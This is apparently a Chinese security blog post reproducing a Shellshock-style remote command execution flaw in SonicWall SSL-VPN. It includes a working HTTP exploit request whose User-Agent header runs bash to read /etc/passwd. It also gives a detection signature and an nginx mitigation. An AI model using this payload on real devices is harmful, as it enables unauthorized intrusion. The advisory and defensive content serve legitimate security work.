SonicWall SSL-VPN 遠端指令執行漏洞
一、漏洞描述
SonicWall SSL-VPN 曆史版本遠端指令執行漏洞以及相關利用腳本。由于SonicWall SSL-VPN使用了舊版本核心以及HTTP CGI 可執行程式,攻擊者可構造惡意其HTTP請求頭,造成遠端任意指令執行,并獲得主機控制權限
二、漏洞複現
exp:
GET /cgi-bin/jarrewrite.sh HTTP/1.1 Host: thelostworld:8080 User-Agent: () { :; }; echo ; /bin/bash -c "cat /etc/passwd" Accept: ** Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close
成功擷取到shell:
簡單的腳本嘗試驗證:
執行列印:
三、防護修補建議
通用修補建議
更新到 Sonic SMA 8.0.0.4
臨時修補建議
針對 http header 進行檢測
可能存在的特征字元串如下() { :; };
使用 nginx 反向代理對 header 進行強制過濾
location/cgi-bin/jarrewrite.sh {proxy_passhttp://your-ssl-vpn:your-ssl-vpn-port$request_uri;proxy_set_headerhost$http_host;proxy_set_headeruser-agent"sonicwall ssl-vpn rec fix";}
參考:
https://my.oschina.net/u/4600927/blog/4927559
免責聲明:本站提供安全工具、程式(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
轉載聲明:著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。
訂閱檢視更多複現文章、學習筆記
thelostworld
安全路上,與你并肩前行!!!!
個人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
個人簡書:https://www.jianshu.com/u/bf0e38a8d400
個人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html
個人部落格園:https://www.cnblogs.com/thelostworld/
FREEBUF首頁:https://www.freebuf.com/author/thelostworld?type=article
歡迎添加本公衆号作者微信交流,添加時備注一下“公衆号”